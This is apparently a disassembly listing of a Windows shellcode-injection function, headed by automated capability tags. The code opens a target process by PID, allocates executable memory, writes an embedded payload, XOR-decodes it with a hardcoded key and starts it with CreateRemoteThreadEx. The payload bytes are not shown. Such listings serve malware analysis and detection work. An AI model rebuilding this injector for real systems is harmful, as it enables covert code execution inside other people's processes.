Function at 0x140001674
Capabilities:
Allocate or change rwx memory
Create thread
Encrypt data using rc4 prga
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x250
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x1f0], ecx
mov qword [rbp + 0x1f8], rdx
call dbg.__main
mov qword [rbp + 0x1c0], 0
lea rax, [rbp - 0x30]
lea rdx, [0x14000a2d8]
mov ecx, 0x39
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov dword [rbp + 0x1bc], 0x1cd
mov eax, dword [rbp + 0x1bc]
mov edx, eax
lea rax, str.___Size_of_shellcode_is:__zd_bytes_n_n
mov rcx, rax
call sym.printf
cmp dword [rbp + 0x1f0], 1
jg 0x140001723
mov rax, qword [rbp + 0x1f8]
mov rax, qword [rax]
mov rdx, rax
lea rax, str.____Usage:__s__PID__n
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x140001af8
mov rax, qword [rbp + 0x1f8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
mov dword [rbp + 0x1b8], eax
mov eax, dword [rbp + 0x1b8]
mov edx, eax
lea rax, str.___Inserted_PID:__d_n_n
mov rcx, rax
call sym.printf
mov eax, dword [rbp + 0x1b8]
mov edx, eax
lea rax, str.___Trying_to_get_the_handle_of_the_Procees:__n
mov rcx, rax
call sym.printf
mov eax, dword [rbp + 0x1b8]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x1b0], rax
cmp qword [rbp + 0x1b0], 0
jne 0x1400017bb
mov eax, dword [rbp + 0x1b8]
mov edx, eax
lea rax, str.____Not_Able_to_get_the_handle_of_process__d_n
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x140001af8
mov eax, dword [rbp + 0x1b8]
mov edx, eax
lea rax, str.___Got_the_Handle_of_the_process:__d_n
mov rcx, rax
call sym.printf
mov rax, qword [rbp + 0x1b0]
mov rdx, rax
lea rax, str.___Processes_Handle:_0x_p_n_n
mov rcx, rax
call sym.printf
mov rax, qword [rbp + 0x1b0]
mov rdx, rax
lea rax, str.___Trying_to_Allocate_the_Buffer_of_the_processes_V_Memory...__Handle:_0x_p_n
mov rcx, rax
call sym.printf
mov eax, dword [rbp + 0x1bc]
movsxd rdx, eax
mov rax, qword [rbp + 0x1b0]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x1a8], rax
cmp qword [rbp + 0x1a8], 0
jne 0x140001860
lea rax, str.____Failed_to_Allocate_Buffer_n
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x140001af8
lea rax, str.___Succesfully_Aloocated_the_buffer_into_the_Virtual_space_of_the_process_n
mov rcx, rax
call sym.printf
mov rax, qword [rbp + 0x1a8]
mov rdx, rax
lea rax, str.___Address:__x_n_n
mov rcx, rax
call sym.printf
mov eax, dword [rbp + 0x1bc]
movsxd r8, eax
lea rcx, [rbp - 0x30]
mov rdx, qword [rbp + 0x1a8]
mov rax, qword [rbp + 0x1b0]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
jne 0x1400018db
lea rax, str.____Unable_to_write_the_shellcode_n
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x140001af8
lea rax, str.___Wrote_Shellcode_to_the_buffer__n
mov rcx, rax
call sym.printf
movabs rax, 0x6472616879726576
mov qword [rbp - 0x3d], rax
mov dword [rbp - 0x35], 0x79656b
mov dword [rbp + 0x1cc], 0
jmp 0x140001a4a
mov eax, dword [rbp + 0x1cc]
movsxd rdx, eax
mov rax, qword [rbp + 0x1a8]
add rdx, rax
lea rcx, [rbp - 0x31]
mov rax, qword [rbp + 0x1b0]
mov qword [rsp + 0x20], 0
mov r9d, 1
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
call rax
movzx eax, byte [rbp - 0x31]
movzx edx, al
mov eax, dword [rbp + 0x1cc]
mov r8d, edx
mov edx, eax
lea rax, str.___Byte__d:_0x_x_n
mov rcx, rax
call sym.printf
mov ecx, dword [rbp + 0x1cc]
movsxd rax, ecx
imul rax, rax, 0x2e8ba2e9
shr rax, 0x20
mov edx, eax
sar edx, 1
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
add eax, edx
sub ecx, eax
mov edx, ecx
movsxd rax, edx
movzx eax, byte [rbp + rax - 0x3d]
movzx edx, byte [rbp - 0x31]
xor eax, edx
mov byte [rbp - 0x31], al
mov eax, dword [rbp + 0x1cc]
movsxd rdx, eax
mov rax, qword [rbp + 0x1a8]
add rdx, rax
lea rcx, [rbp - 0x31]
mov rax, qword [rbp + 0x1b0]
mov qword [rsp + 0x20], 0
mov r9d, 1
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov eax, dword [rbp + 0x1cc]
movsxd rdx, eax
mov rax, qword [rbp + 0x1a8]
add rdx, rax
lea rcx, [rbp - 0x31]
mov rax, qword [rbp + 0x1b0]
mov qword [rsp + 0x20], 0
mov r9d, 1
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
call rax
movzx eax, byte [rbp - 0x31]
movzx edx, al
mov eax, dword [rbp + 0x1cc]
mov r8d, edx
mov edx, eax
lea rax, str.___New_Byte__d:_0x_x_n_n
mov rcx, rax
call sym.printf
add dword [rbp + 0x1cc], 1
mov eax, dword [rbp + 0x1bc]
sub eax, 1
cmp dword [rbp + 0x1cc], eax
jl 0x14000190e
mov rcx, qword [rbp + 0x1a8]
mov rax, qword [rbp + 0x1b0]
lea rdx, [rbp + 0x1a4]
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThreadEx]
call rax
mov qword [rbp + 0x1c0], rax
lea rax, str.___Thread_invoked__n
mov rcx, rax
call sym.printf
mov rax, qword [rbp + 0x1c0]
mov rdx, rax
lea rax, str.___Thread_Handle:_0x_p_n
mov rcx, rax
call sym.printf
mov eax, dword [rbp + 0x1a4]
mov edx, eax
lea rax, str.___Thread_ID:__d_n
mov rcx, rax
call sym.printf
mov eax, 0
add rsp, 0x250
pop rsi
pop rdi
pop rbp
ret